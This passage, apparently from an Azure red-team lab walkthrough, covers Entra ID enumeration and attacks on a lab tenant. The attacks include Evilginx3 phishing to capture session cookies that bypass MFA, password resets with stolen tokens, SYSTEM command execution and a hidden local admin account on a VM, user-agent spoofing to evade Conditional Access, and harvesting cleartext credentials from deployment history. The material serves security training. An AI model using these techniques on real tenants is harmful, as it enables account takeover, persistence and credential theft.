    $RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{'Authorization' = "Bearer $MgGraph_Token"}
    }
    (Invoke-RestMethod @RequestParams).value

    We have successfully identified the critical structural weakness in the directory architecture. This is the pivot point where the attack shifts from "guessing" to "knowing."

    We successfully identified a critical structural weakness in the directory architecture by confirming that the target user, VMContributor167, resides within a specific Administrative Unit named "Control Unit" identified by the ID e1e2....
    This discovery establishes a clear attack path because Administrative Units act as restricted permission boundaries that delegate power over every identity located inside them.

    Since we also confirmed that this same user is a member of the privileged "VM Admins" group, a direct transitive trust relationship is now established where controlling the Administrative Unit effectively equates to controlling the JumpVM.
    Our singular objective now shifts to verifying if Kathy holds the Scoped Administrator role for this specific "Control Unit" because verifying that link gives us the legal authority to reset the target user's password and immediately inherit their remote code execution privileges.

    We are performing Container Content Inspection to determine exactly which objects fall under the jurisdiction of the "Control Unit." By executing Get-MgDirectoryAdministrativeUnitMember, we are asking the directory to list every object user, group, or device that lives inside this restricted boundary.

    Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId "e1e26d93-163e-42a2-a46e-1b7d52626395"

    Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId "e1e26d93-163e-42a2-a46e-1b7d52626395" | fl *

    The output reveals the most critical structural flaw in the environment because the ID returned (e1e26d93-163e-42a2-a46e-1b7d52626395) matches perfectly with the Object ID of the VM Admins group we identified in our earlier enumeration.
    This confirms that the VM Admins group object itself resides inside the Control Unit. This is significantly more valuable than finding a simple user because it simplifies our attack path. Instead of needing to reset a user's password and trigger alerts, finding the group here implies that if Kathy is the Scoped Administrator for this unit, she possesses the direct right to modify the membership of the VM Admins group itself, allowing her to simply add her own account and inherit the Virtual Machine privileges cleanly.

    Let's check for any roles scoped to this administrative unit. We must perform Scoped Administrator Enumeration to identify exactly who holds the "Keys to the Kingdom" for this specific Administrative Unit. Simply knowing the "Control Unit" exists is not enough, we need to find the specific identities that have the power to change things inside it.

    By running Get-MgDirectoryAdministrativeUnitScopedRoleMember, we effectively asked the directory: "Who has been delegated administrative power specifically over this container?"

    Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId "e1e26d93-163e-42a2-a46e-1b7d52626395" | fl *

    (Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId "e1e26d93-163e-42a2-a46e-1b7d52626395").RoleMemberInfo

    The output provided us with a high-value targeting discovery… Roy G. Cain. This finding confirms that Roy is a Scoped Administrator for this unit. Strategically, this tells us that Roy definitely has the privileges required to manipulate the objects (like the VM Admins group or the VMContributor users) that live inside the "Control Unit." This allows us to update our attack graph, if we cannot directly modify the VM Admins group ourselves as Kathy, identifying Roy gives us a new potential lateral movement target who does possess that authority.

    Let's check the role using the RoleId we got above by enumerating the Role Capability Analysis to determine exactly what "Superpower" corresponds to the cryptic Role ID (5b3935ed-b52d-4080-8b05-3a1832194d3a) and we discovered assigned to Roy G. Cain in the previous step. In Azure Entra ID, roles are defined by specific GUIDs, and simply knowing that someone is "a Scoped Role Member" is useless unless we know which role they hold.

    Get-MgDirectoryRole -DirectoryRoleId "5b3935ed-b52d-4080-8b05-3a1832194d3a"

    The output confirms that the Role ID translates to Authentication Administrator. This is a highly privileged Directory role that is often underestimated because it sounds like a support function.

    We are performing Target Profiling to finalize the intelligence required to launch an attack against this specific identity. Although we previously identified the "Object ID" associated with the Scoped Administrator, an ID string is useless for login attempts, phishing, or credential searching.

    By running Get-MgUser and piping the output to fl * (Format List All).

    Get-MgUser -UserId 8c088359-66fb-4253-ad0d-a91b82fd548a | fl *

    we extracted the most critical actionable intelligence: the User Principal Name (UPN), which is roygcain@defcorphq.onmicrosoft.com.

    Login Target: We now have the username needed to attempt a login if we find credentials.
    Credential Correlation: We can now search the extracted Key Vault secrets again or check our dumped hashes to see if roygcain appears anywhere.
    The Attack Path Complete: We have fully mapped the chain, Kathy (Us) sees the JumpVM, which is controlled by VM Admins, which is inside the Control Unit, which is administered by Roy G. Cain. If we can compromise Roy (using the email we just found), we possess the Authentication Administrator capability to hijack the MFA of the VM admins and take over the infrastructure.

  • Lateral Movement - Phishing - Evilginx3

    From this moment, we transition from the reconnaissance phase into the active exploitation phase where we target the specific administrator we identified previously. We determined that Roy G. Cain holds the administrative keys for the Control Unit that manages the infrastructure we want to access but simply knowing his username and password is insufficient because Multi-Factor Authentication will block our login attempts. We will overcome this security barrier by launching an Adversary-in-the-Middle attack using a tool called Evilginx3 to create a fake login page that acts as a proxy between the victim and Microsoft.

    We set up this specialized server to intercept the web traffic in real time so we can capture the session cookie immediately after Roy authenticates. This digital cookie acts like a temporary identification card that proves he has already finished the security checks on his phone so capturing it allows us to impersonate him completely. We will import this stolen cookie into our own web browser to trick the Microsoft platform into believing we are the legitimate user on a trusted device which grants us immediate access to his management console without triggering any new alerts. We effectively use this stolen access to navigate to the My Staff portal where we can reset the password for the account that controls the JumpVM and complete our takeover of the internal servers.

    Setup Evilginx3

    Evilginx, a tool based on the legitimate (and widely used) open-source nginx web server, can be used to steal usernames, passwords, and session tokens, allowing an attacker to potentially bypass multifactor authentication (MFA).

    Let's try to phish the user roygcain@defcorphq.onmicrosoft.com using Evilginx3.
    Please note that after an update in April 2025, the new Microsoft login page sends telemetry to Microsoft servers that include the phishing hostname.
    Also Note that we are running Evilginx in developer mode to be able to use self-signed certificates.

    .\evilginx.exe -p "C:\AzAD\Tools\evilginx-v3.3.0\phishlets\" -developer

    We execute this configuration sequence to transform the generic Evilginx installation into a functional proxy server tailored to our specific lab environment. We start by running the config domain command to define the base URL for our attack because the tool requires a root identity to build convincing links for the victim. We then proceed to set the external IPv4 address to match our attacking machine which effectively tells the software to listen for incoming traffic on that specific network interface so we can capture the victim's data when they connect.

    We subsequently link the specific Microsoft 365 phishlet to our configured domain using the hostname command. This action serves as the glue that binds the pre-written attack logic for Microsoft logins to our custom infrastructure and ensures the fake pages look correct. Finally, we execute the get-hosts command to list all the specialized subdomains required to mimic the complex Microsoft authentication flow. We need this specific output because modern logins bounce between different services like Single Sign-On and Content Delivery Networks, so we must manually register these subdomains in our local hosts file to ensure the browser can resolve every part of the fake site without throwing errors.

    Setup DNS

    As a part of the attack infrastructure, we have a Technitium DNS server. We need to set it up so that the phishing URL points to the correct machine. We can use any DNS Server to setup that. For this lab, we already have a Technitium DNS server installed on URL: http://172.16.2.50:5380/

    Under Zones → Add Zone add the information for Zone and its type of zone as well.

    Then we need to edit this NS to add the IP our DNS Server by modifying the Name Server value.

    We should also Edit the Record as well for the right configuration as you may see on the screenshot below.

    Now, last but not least, we will be adding few more A Records for login, aadndc, login, m365, sso and www subdomains containing our own attacking IP with a TTL of 180, under Add Record button.
    Remember that, those subdomains are the ones created when we configured our Evilginx previously.

    Phishlet Activation and Lure Creation

    Once we have the DNS and server configuration finalized, we need to activate the attack logic. We execute phishlets enable o365 to turn on the proxy server specifically designed for Microsoft traffic, this step automatically provisions the SSL certificates to make our site look secure and trustworthy. We then run lures create o365 followed by lures get-url 0 to generate the unique phishing URL.

    phishlets enable o365

    lures create o365

    lures get-url 0

    This link is critical because it contains a specific tracking identifier that routes the victim's connection to our proxy engine rather than the real Microsoft site, effectively setting the trap.

    Send the lure

    We send the generated link to the target, roygcain, simulating a convincing email to trick him into clicking. As Roy interacts with our fake site, Evilginx intercepts his data in real-time.
    Once Again I’ll be using Emkei’s Mail service for that.

    After that we just have to wait for our target to fall onto our phishing mail and we will receive connection on our EvilGinx framework.

    We can see his username (roygcain@...) and plaintext password captured immediately. Crucially, the final line shows tokens intercepted: /kmsi (Keep Me Signed In). This signifies that we have stolen the session cookies that prove MFA was completed, which is the "golden key" we need to bypass his multi-factor protection in the next phase.

    If we try to login using Roy’s ClearText Password we will find out that MFA is enabled. In this case it’s better to proceed with the captured Token, because as we know, user’s tokens bypass logins containing MFA.

    If we issue the sessions command on EvilGinx CLI we can see that we also have the token captured. using the Session ID also bring us more information about the sessions capture.

    Using Roy’s Cookie

    Steps to authenticate using session cookies are mentioned below.
    Open Chrome -> Go to Extensions -> Manage Extensions -> Turn on Developer Mode
    Search and install CookieEditor extension for Chrome.
    Browse to https://portal.azure.com
    Click on the Cookie-Editor extension and allow read cookies for 'This site'
    Click on Delete
    Last, we just need to import the cookie we captured with EvilGinx and refresh the page.

    We can see above screenshot that we were able to bypass the MFA of our target by simply importing his cookie.

    Reset vmcontributor167 password using Azure portal

    Now, if we remember from our enumeration from the last lab, Roy has Administrator Role Scoped to Control Object Administrative Unit and all VMContributorX users are members of Administrative Unit, so we can reset the password for user
    VMContributor167@defcorphq.onmicrosoft.com

    Go to Entra ID -> Manage -> Users
    Search or filter for vmcontributor167

    Next, click on the username -> Reset password

    A temporary password will be assigned to vmcontributor167 that needs to be changed on Sign in.
    We will also need to register for MFA for vmcontributor167

    After resetting the password, we need to reset the MFA for vmcontributor167 that needs to be changed on Sign in.

    Importing Roy’s Token for Microsoft Graph

    We can alternatively get Roy’s token via browser and use it for Microsoft Graph API as well to reset VmContributor167’s password.

    1 - Press F12 in the browser and click on Network tab. Make sure the 'Preserver log' checkbox is checked.

    2 - Go to Microsoft Entra ID (search in the search bar or use the top left burger menu).
    3 - In the 'Filter' field of network tab in the browser, search for 'batch' and copy the access token

    Now we execute this next phase by first establishing an authenticated session with the Microsoft Graph API using the token we successfully intercepted from Roy G. Cain during our phishing attack. By passing this stolen digital key into the Connect-MgGraph command, we effectively trick the Azure platform into believing our local terminal is Roy's trusted workstation which grants us his full administrative privileges without triggering any new security alerts.

    $Graph_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1..."

    Connect-MgGraph -AccessToken ($Graph_Token | ConvertTo-SecureString -AsPlainText -Force)

    $params = @{passwordProfile = @{
    forceChangePasswordNextSignIn = $false
    password = "VM@Contributor@123@321"}
    }
    
    Update-MgUser -UserId "VMContributorx@defcorphq.onmicrosoft.com" -BodyParameter $params

    Note that here we have used a password profile that will not ask for password change on next sign in of vmcontributor167. However, MFA registration would still need to be done

    Use vmcontributor167 after registering for MFA

    Disconnect from Entra ID and connect using the credentials of the VMContributor167@defcorphq.onmicrosoft.com user. Note that first you need to register MFA for VMContributor167 by signing-in to portal.azure.com

    Once we have configure MFA for vmcontributor167 we can now move on to Microsoft Graphic login via PowerShell.

    We are performing the final verification step to prove that our account takeover was a complete success. We utilize the standard connection command to log in with the new password we set for the victim user vmcontributor167.
    The below command will open an 'Approve Sign in' prompt. After approving the sign-in, we can continue using Az PowerShell as VMContributorx@defcorphq.onmicrosoft.com
    When the system attempts to block us with a Multi-Factor Authentication prompt we simply approve the request using our own mobile device because we successfully registered it as a trusted method earlier in the lab.

    Connect-AzAccount -TenantId "2d50cb29-5f7b-48a4-87ce-fe75a941adb6"

    The output showing the DefCorp subscription confirms that we have established a fully valid session with the Azure environment. This is the most critical moment of the attack because this specific user account holds membership in the privileged VM Admins group. We effectively translated our directory manipulation into real infrastructure access which gives us the authority to execute commands on the target JumpVM in the next phase.

    Enumerating JumpVM

    Now that we do have access to JumpVM, we should start by the basic enumeration, as usual, whenever we do have newly compromised account we should always start the enumeration phase over again.
    We execute these two commands in this specific order to validate our situational awareness before attempting to launch an actual payload.

    The Get-AzVM -Name jumpvm..., is primarily an enumeration step that confirms the existence and status of the target server. By querying the Azure Resource Manager for the virtual machine metadata, we ensure the server is "Succeeded" (Online/Provisioned) and accessible to our current identity.

    Note: If you have the issue below, then we are facing a technical glitch within the local Azure PowerShell modules on our attacking machine rather than a permission issue with the user account itself. The specific error message claiming a "Method not found" indicates that our current PowerShell session has become unstable because we have authenticated with too many different users like Kathy and Roy in the same window which caused a conflict in the background authentication libraries.

    We simply need to clear the corrupted session memory to resolve this. We should close this current PowerShell window entirely and open a brand new terminal session to ensure all the old cached tokens are wiped from the process. When we execute the connection command again in the fresh window we will see that the enumeration commands work perfectly because the conflicting data from the previous exercises will be gone.

    Connect-AzAccount -TenantId "2d50cb29-5f7b-48a4-87ce-fe75a941adb6"

    Get-AzVM -Name "jumpvm" -ResourceGroupName "RESEARCH" | fl *

    The specific value Windows_Client under LicenseType provides us with critical actionable intelligence because it confirms that this Virtual Machine is running a workstation operating system, such as Windows 10 or 11, rather than a headless Windows Server edition. In a Red Team context, this distinction is vital because it implies that this machine is designed for interactive human usage likely serving as an administrative jump box or a developer's daily driver which significantly increases the probability that we will find rich post-exploitation artifacts like cached browser credentials, saved Remote Desktop Connection profiles, or active user sessions we can hijack.

    We also gain crucial operational security insight from the Extensions field visible in the output which lists the {MicrosoftMonitoringAgent}. This finding warns us that this specific machine is actively shipping logs to a central monitoring solution like Azure Sentinel or Log Analytics. Understanding this allows us to adjust our tactics to avoid noisy behaviors that might trigger alerts, as we now know that any process we execute via the Run Command, including our initial whoami check, is almost certainly being recorded and analyzed by the defensive team's security tooling.

    We must methodically trace the path from the Virtual Machine to the outside world to determine how we can connect to it.

    Identifying the Network Interface (Get-AzVM)

    In the first command, we query the jumpvm to look specifically at its NetworkProfile. Azure architecture separates the "Computer" from the "Network Card." A VM doesn't hold its own IP address directly, it is attached to a separate resource called a Network Interface (NIC).

    Get-AzVM -Name "jumpvm" -ResourceGroupName "RESEARCH" | Select -ExpandProperty "NetworkProfile"

    The command returns the specific ID for the network interface attached to this machine: .../networkInterfaces/jumpvm741. This tells us the exact name of the resource we need to query next.

    Inspecting the Interface Configuration (Get-AzNetworkInterface)

    In the second command, we target that specific interface (jumpvm741) and pipe the output to Format-List. This forces PowerShell to reveal all the hidden properties of the object.

    We look inside the IpConfigurations block (at the bottom of your screenshot). Inside, there is a property called PublicIpAddress. The value contains a Resource ID ending in jumpvm-ip.

    We execute the final command in our network reconnaissance phase to translate the logical resource name we discovered into a usable routing address. Previously, we knew that a public IP object named jumpvm-ip existed, but that name is only meaningful to Azure internally and cannot be used to open a connection. By running Get-AzPublicIpAddress, we can query the configuration to reveal the actual IpAddress assigned to that object to jumpvm-ip.

    Get-AzPublicIpAddress -Name "jumpvm-ip"

    This discovery provides us with the precise digital coordinates of the target server's "front door" facing the internet. This piece of intelligence is vital because it moves us from knowing the server exists to having a connectable destination. We will now use this specific IP address as the target for our remote code execution scripts or our Remote Desktop session in the next phase of the attack to verify our administrative access.

    Establishing Persistent Access via Local Account Creation

    The Invoke-AzVMRunCommand..., represents the shift from passive discovery to active exploitation. Once the previous command confirms the target is viable, we use this powerful administrative API call to push a simple Proof-of-Concept script (whoami) directly into the VM's guest operating system.

    "whoami" | Out-File C:\AzAD\Tools\whoami.ps1

    Invoke-AzVMRunCommand -VMName jumpvm -ResourceGroupName RESEARCH -CommandId 'RunPowerShellScript' -ScriptPath 'C:\AzAD\Tools\whoami.ps1' -Verbose

    The successful execution of this script indicated by the return value nt authority\\system provides the definitive evidence that we have successfully bypassed the network perimeter and achieved full system-level control over the target infrastructure.

    Based on the successful execution of our initial whoami probe, we have definitive confirmation that we possess nt authority\\system privileges on the jumpvm. This specific privilege level allows us to perform any administrative task on the operating system, including modifying the local user database.

    We are shifting our strategy from verifying access to solidifying a permanent foothold on the server. Although we can execute commands through the Azure API using Invoke-AzVMRunCommand, this method is cumbersome, slow, and does not allow for efficient browsing of files or tools. Since we verified that our previous commands execute as the System account, we technically hold the highest authority on the machine, giving us the unrestricted right to create new accounts and assign them to the local Administrators group.

    We leverage this by executing the Invoke-AzVMRunCommand cmdlet again, but this time pointing it to our prepared adduser.ps1 script. The Azure Fabric pushes this script into the VM's guest agent, which immediately processes our instructions to generate a new user with a password of our choosing and promotes that user to a Local Administrator. This effectively effectively fabricates a valid "Key" that we can use to unlock the "Door" (the Public IP) we discovered during our network enumeration.

    Create the adduser.ps1 with the code below.

    • adduser.ps1
      $passwd = ConvertTo-SecureString "Stud59Password@123" -AsPlainText -Force
      
      
      New-LocalUser -Name student59 -Password $passwd
      Add-LocalGroupMember -Group Administrators -Member student59

    Invoke-AzVMRunCommand -ScriptPath C:\AzAD\Tools\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'jumpvm' -ResourceGroupName 'Research' -Verbose

    By completing this step, we ensure that we are no longer dependent on the potentially fragile token replay or API availability.

    We can now switch our tooling to standard Microsoft Remote Desktop Protocol (RDP) or PowerShell Remoting (WinRM), allowing us to log in directly to the server interface just like a legitimate system administrator to perform deep post-exploitation and data exfiltration.

    $password = ConvertTo-SecureString 'Stud59Password@123' -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential('student59', $password)
    $jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
    Enter-PSSession -Session $jumpvm

  • Privilege Escalation - ARM Templates - Deployment History

    Service Principal Authentication Mechanics

    We must first understand the fundamental difference between logging in as a human user versus a Service Principal. In previous labs, we focused on Phishing (AiTM) or MFA Fatigue because humans are protected by Multi-Factor Authentication.
    However, a Service Principal is essentially a "Robot Account" used by applications to talk to Azure automations. These accounts cannot use mobile phones or authenticator apps, so they rely exclusively on a "Client ID" (Username) and a "Client Secret" (Password). The strategic importance of this for us is that Service Principals act as a backdoor because they inherently bypass MFA. Once we possess the credentials for the fileapp application (which we likely obtained in a previous secret injection attack), we can authenticate using the Connect-AzAccount -ServicePrincipal command. This grants us a persistent, silent session in the environment that never asks for a second factor verification.

    Conditional Access Policy Evasion via User-Agent Spoofing

    One of the most advanced defensive layers in Azure is Conditional Access Policies (CAPs). These are "If/Then" rules that Gatekeepers enforce before letting a user in. In this lab, the user "David" is protected by a policy that blocks access from "Managed Devices" or specific platforms like Windows. If we try to log in from our attacking workstation, Azure detects our operating system signature and blocks us.

    To defeat this, we abuse the trust mechanism known as the User-Agent String. When a browser talks to a website, it introduces itself (e.g., "Hello, I am Chrome running on Windows 10"). Conditional Access Policies often rely blindly on this self-introduction to decide if a device is safe. By installing a browser extension that changes our User-Agent string to say "Hello, I am Safari running on an iPad," we trick the Azure logic into believing we are connecting from a mobile device. If the policy allows mobile access but blocks desktops, this simple disguise is enough to bypass the restriction and allow us to log in as David.

    ARM Deployment History Mining

    The core exploit of this lab focuses on the concept that "The Cloud Never Forgets." When administrators deploy resources in Azure (like creating a Virtual Machine), they often use templates (JSON files) that define the infrastructure. This is known as "Infrastructure as Code" (ARM Templates).

    Azure automatically saves a history of every deployment that ever happened in a Resource Group to help administrators troubleshoot past errors. This Deployment History log essentially acts as a permanent ledger of configuration changes. The vulnerability arises because administrators often make mistakes when deploying servers—for example, entering a password for a local administrator account directly into a generic text field rather than using a secure reference. Even if the VM is deleted or the password is changed later, the Original Deployment Record containing the cleartext password remains in the history logs forever. We can query these logs (using Get-AzResourceGroupDeployment), parse the JSON structure, and extract credentials that were valid months or years ago but are likely reused elsewhere.

    Azure Key Vault Data Plane Permissions

    Finally, we revisit the Key Vault with a specific focus on the permission model. Just because an identity (like our Service Principal) has access to the Management Plane (allowing it to see the Vault exists), does not mean it can access the Data Plane (the actual secrets inside). In this lab, we validate that the fileapp identity has specifically been granted the "Key Vault Secrets User" role. This is the Data Plane role that authorizes the decryption of stored values. Understanding this distinction is crucial because enumeration tools often confuse "Access Control" (Administering the Vault) with "Data Access" (Reading the contents). We must confirm we have the Data privilege to execute the extraction.

    We begin this lab by utilizing the specific credentials we generated during our previous exploitation of the virusscanner web application during Initial Access - App Service Abuse - OS Command injection. We previously utilized a Command Injection attack to steal the Managed Identity token and discovered it held the Application Administrator role which authorized us to inject a new secret password into the fileapp Service Principal. We will now leverage the specific Client ID visible in the screenshot along with the secret key we created to authenticate directly to the tenant as the fileapp identity which grants us our initial foothold into the environment for this new phase without triggering Multi-Factor Authentication.

    We are performing a specific Directory Reconnaissance phase to positively identify the target Service Principal before we fully commit to using its credentials. Although we obtained the App ID 62e44426-5c46-4e3c-8a89-f461d5d586f2 during our previous exploitation of the processfile (virusscanner) Managed Identity, effective tradecraft requires us to verify exactly what this object is within the Entra ID database before we attempt to log in as it.

    We start by authenticating to the Microsoft Graph using a standard "Test User" account, employing the same token extraction or Device Code Flow techniques we practiced earlier to bypass MFA constraints for this enumeration session.

    $Graph_Token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6IkFTV3hB…"

    Connect-MgGraph -AccessToken ($Graph_Token | ConvertTo-SecureString -AsPlainText -Force)

    Once we have established a valid connection to the directory, we execute the Get-MgServicePrincipal command specifically filtering for that unique App ID. This query asks Entra ID to reveal the "ID Card" of that hexadecimal string, allowing us to confirm it is indeed the fileapp Service Principal and review its configuration properties to ensure our stolen keys will unlock the correct door in the next phase of the attack.

    Get-MgServicePrincipal -All | ?{$_.AppId -eq "62e44426-5c46-4e3c-8a89-f461d5d586f2"} | fl

    There are three critical aspects in this output that you need to pay attention to:

    1. DisplayName : processfile: This confirms that the ID belongs to the source application we compromised in the previous lab (the Virus Scanner/Function App). This validates that this is the identity that held the "Application Administrator" rights we abused.
    1. AccountEnabled : True: This is a vital "pulse check." If this were set to False, the identity would be disabled, and any token we stole or credentials we generated would be useless. Seeing "True" confirms the attack path is still open.
    1. ServicePrincipalType : ManagedIdentity: This is the most architecturally important line. It confirms that this identity is a System-Assigned Managed Identity tied to an Azure resource, rather than a standard Service Principal created by a human. This distinction explains why it doesn't have a static password file we could have just found on a desktop; its credentials are managed automatically by the Azure platform, which is why we had to steal the token from the metadata service to impersonate it.

    Note that this will not impact further attacks. We looked at it just to understand that function apps may be in use behind app services. In fact, that is the most common use case of function apps. In this case, the processfile function app is processing the file uploads to the virusscanner app service.
    Recall that we added credentials to the fileapp application in Entra ID. Let's use the credentials now to authenticate as that service principal.

    NOTE: this was concluded during the Initial Access - App Service Abuse - OS Command injection lab.

    Client secret added to :
    
    Object ID : 35589758-714e-43a9-be9e-94d22fdd34f6
    App ID    : f072c4a6-b440-40de-983f-a7f3bd317d8f
    App Name  : fileapp
    Key ID    : 400b3c69-d4f2-4a80-a4e6-c6bc0075cabe
    Secret    : qJO8Q~1mvDR2pHBooy4Es3aiZQr3oXeTEzNPYbWQ

    $Pass = ConvertTo-SecureString 'qJO8Q~1mvDR2pHBooy4Es3aiZQr3oXeTEzNPYbWQ' -AsPlainText -Force

    $Creds = New-Object System.Management.Automation.PSCredential('f072c4a6-b440-40de-983f-a7f3bd317d8f', $Pass)

    Connect-AzAccount -ServicePrincipal -Credential $Creds -Tenant '2d50cb29-5f7b-48a4-87ce-fe75a941adb6'

    We executed this specific login switch because we needed to transition from an identity that possessed directory management privileges to a different identity that holds the specific data access rights required to open the Key Vault. The initial Managed Identity we compromised acted merely as a locksmith tool because its Application Administrator role allowed us to reset passwords in the directory but granted us absolutely no visibility into the actual Azure storage or vault resources.

    We are now authenticating with these new credentials to effectively discard the administrative tool and assume the role of the authorized user so we can access the restricted data plane where the sensitive secrets are stored.

    Get-AzResources

    By executing the resource enumeration command, we successfully discovered a high-value asset which is an Azure Key Vault named credvault-fileapp located within the IT resource group.
    This discovery is critically important because it definitively validates our pivot strategy by confirming that the fileapp identity we effectively stole is indeed the authorized reader for this specific security container. While our previous identity was a Directory Administrator capable of managing accounts, seeing this Vault resource proves that our current identity holds Infrastructure Data permissions, effectively identifying the exact target address where the sensitive credentials we need are stored and giving us the green light to proceed with extracting the secrets. Sweet! Access to a key vault! Check if we can list and read any secrets!

    We must now query the inventory of the credvault-fileapp Key Vault to see what "keys" the previous administrator stored inside.

    The output revealed a specific secret named "MobileUsersBackup", which acts as a contextual clue suggesting that this account is likely intended for use on mobile devices.

    Right after we immediately run the -Name and -AsPlainText switches, which forces the Azure Vault to decrypt the sensitive data and print it directly to our screen.

    username: DavidDHenriques@defcorphq.onmicrosoft.com ; password: Dav!dUsedM0b1le@t0rganization

    This action successfully recovered the plaintext username and password for David D. Henriques, validating our lateral movement path.

    Requesting ARM and Graph API tokens to evade MFA

    We always make it a standard operating procedure to extract the authentication tokens immediately whenever we compromise a new user account and password. We initiate this process because while the web browser gives us visual access it restricts our ability to run automated enumeration scripts or perform bulk data mining. We navigate to the developer tools within our active browser session to find the specific Access Tokens that authorize us against both the Azure Resource Manager and the Microsoft Graph API. We essentially perform this export because it allows us to transfer the trust established in our browser session directly into our PowerShell terminal which lets us continue the attack with our full toolkit without having to fight the Multi-Factor Authentication or device policies again.

    We will proceed to extract the necessary Azure Resource Manager and Microsoft Graph API tokens by navigating to the Cosmos DB portal (cosmos.azure.com) while maintaining our spoofed mobile browser session. We selected this specific website for the extraction phase purely because its lightweight interface stores the tokens in a much cleaner and more accessible manner within the developer tools compared to the main Azure Portal (portal.azure.com) which is often cluttered with hundreds of irrelevant session files that make the task frustrating.
    It is crucial to understand that the tokens we are about to copy from this database console are effectively universal administrative keys for the user David, so they will grant us exactly the same broad control over the entire subscription infrastructure and directory that we would have achieved had we navigated to the main dashboard.

    cosmos.azure.com

    As we can see above, we do have MFA enabled on David Account, and we do not have access to his phone… Hummmm

    Device Platform based Conditional Access Policy Evasion

    We are actively circumventing a restrictive access control that is currently blocking us from utilizing the credentials we stole for the user David. The organization has implemented a Conditional Access Policy configured to deny any login attempt originating from a desktop operating system like Windows or macOS which prevents us from logging in directly even though we possess the correct password. This defense relies on identifying the client device based on its digital fingerprint sent during the web request, specifically the User-Agent string which declares the browser and operating system version to the server.

    We overcome this restriction by employing a technique called User-Agent Spoofing where we deliberately modify our web browser to present itself as a mobile device. We install a browser extension that allows us to overwrite the standard identifying text sent in our HTTP headers with a string mimicking Safari running on an iPad.

    This works better if we use Chrome, so let’s install User Agent Switcher Extension for Chrome Browser.

    Click on the User Agent Extension -> Click on IOS -> Click on iPad

    When we attempt to log into a management interface like the Cosmos DB portal with this modified identity, the Azure authentication service processes our request and matches our new fingerprint against the allowed criteria for mobile devices. Since the policy permits mobile access, the security gatekeeper drops the strict blocking requirement and grants us a valid session cookie, successfully establishing our access to the portal without requiring us to physically possess a corporate mobile device.

    Let’s now try to access cosmos.azure.com and to the same login with user David that we tried before. You shall notice that after adding the password, we will not be blocked by the MFA anymore, this is because we were able to bypass the Conditional Access Policy by spoofing (changing) the browser’s user Agent. Once we have successfully loaded the portal page, we must extract the cryptographic keys that allow us to continue the attack outside of the restrictive web browser. We open the browser's Developer Tools and navigate to the storage section where the application keeps the active session data. We locate the Azure Resource Manager access token which serves as a universal pass for the cloud subscription infrastructure and the Microsoft Graph API Token as well.

    Microsoft Graph API Token

    ARM API Token

    By copying this raw text string, we can transfer the trust we established in the spoofed browser session directly into our local PowerShell console which enables us to run automated commands as David without ever facing the conditional access block again.

    $ARM_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N…"

    $Graph_Token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6I…"

    Connect-AzAccount -AccessToken $ARM_Token -MicrosoftGraphAccessToken $Graph_Token -AccountId "daviddhenriques@defcorphq.onmicrosoft.com"

    We use this authenticated PowerShell session to perform forensic analysis on the Azure deployment history which acts as a permanent ledger of all past infrastructure changes.

    Deployment History Enumeration

    Let’s now start enumerating what resources David is able to see. If we try to enumerate the resources accessible, we get nothing. So, we will check if the user has visibility of any Resource Group.

    Get-AzResource

    Get-AzResourceGroup

    During the Resource Group enumeration, we can see that we do have a resource group named StagingEnv.

    Let’s execute commands to query the history of the StagingEnv resource group because we suspect that administrative mistakes made during the creation of these resources might still be visible in the logs.

    We are mining the Azure Deployment History for the StagingEnv resource group. We execute this specific enumeration command because Azure by default keeps a persistent log of every resource creation attempt (Deployments). This history is often a goldmine for Red Teams because administrators frequently leave credentials in the configuration templates used to build the servers.

    Get-AzResourceGroupDeployment -ResourceGroupName "StagingEnv”

    When reviewing this specific output, there are three critical "Red Flags" or data points you must pay attention to for our attack:

    1. DeploymentName (DavidDHenriques...): This confirms that the deployment was likely initiated by the user David (our current compromised account). Finding deployments tied to a specific user helps profile their administrative habits.
    1. Parameters (The vmAdminPassword Field): This is the most vital field to scrutinize. In the screenshot, we see vmAdminPassword listed with a type of SecureString and a value of null.
      • Why this matters: Azure effectively "hides" the password in this summary view by returning null. It does this to protect the credentials.
      • The Exploitation Hint: Seeing this field confirms a password was supplied during creation. While we can't see it here, it hints that the raw Template (JSON) behind this deployment contains that password. This is exactly why we need to dig deeper.
    1. Timestamp: The date (1/7/2025) tells us this is a recent deployment. Recent deployments are valuable because the passwords found inside them are highly likely to still be active and valid on the current infrastructure.

    The summary view is teasing us with the existence of a vmAdminPassword. To actually steal it, we cannot rely on this high-level output. We must proceed to extract the full Template property from this deployment object, which will reveal the raw code containing the password we need.

    Let’s download the JSON templates corresponding to past server deployments and parse the text for sensitive artifacts. Our analysis culminates when we uncover a specific deployment entry for a custom script extension that contains a cleartext command.

    Save-AzResourceGroupDeploymentTemplate -ResourceGroupName "StagingEnv" -DeploymentName "DavidDHenriques_defcorphq.onmicrosoft.com.stagingenv"

    Now we analyze the .json template with the following filter below.

    (type C:\AzAD\Tools\DavidDHenriques_defcorphq.onmicrosoft.com.stagingenv.json | ConvertFrom-Json | select -ExpandProperty Resources).resources.Properties.Settings.CommandToExecute

    $username = "thomasebarlow@defcorpit.onmicrosoft.com";$password="Th0masH@sDeployM3ntRights!!"

    This log reveals the hardcoded credentials for the next user, Thomas, which were accidentally permanently recorded in the deployment history, successfully concluding the lab by proving that past configurations can be weaponized to compromise future access. Sweet! We got the credentials for a user that belongs to another tenant named defcorpit.

  • Privilege Escalation - Function App - Continues Deployment

    Continuous Deployment Architecture

    The core mechanism driving this lab is Continuous Deployment (CD), a DevOps practice where code changes in a repository are automatically built and deployed to production. In Azure, this is typically configured via the "Deployment Center," which creates a webhook or trust relationship with GitHub. When a developer pushes a commit to a specific branch (like main), GitHub notifies Azure, which then pulls the new code, builds it, and updates the running Function App. You must understand that this automation removes the human gatekeeper, effectively, the Git Commit becomes the deployment trigger. If an attacker can push code to the repository, they can inherently execute code in the Azure cloud environment with the privileges of the Function App.

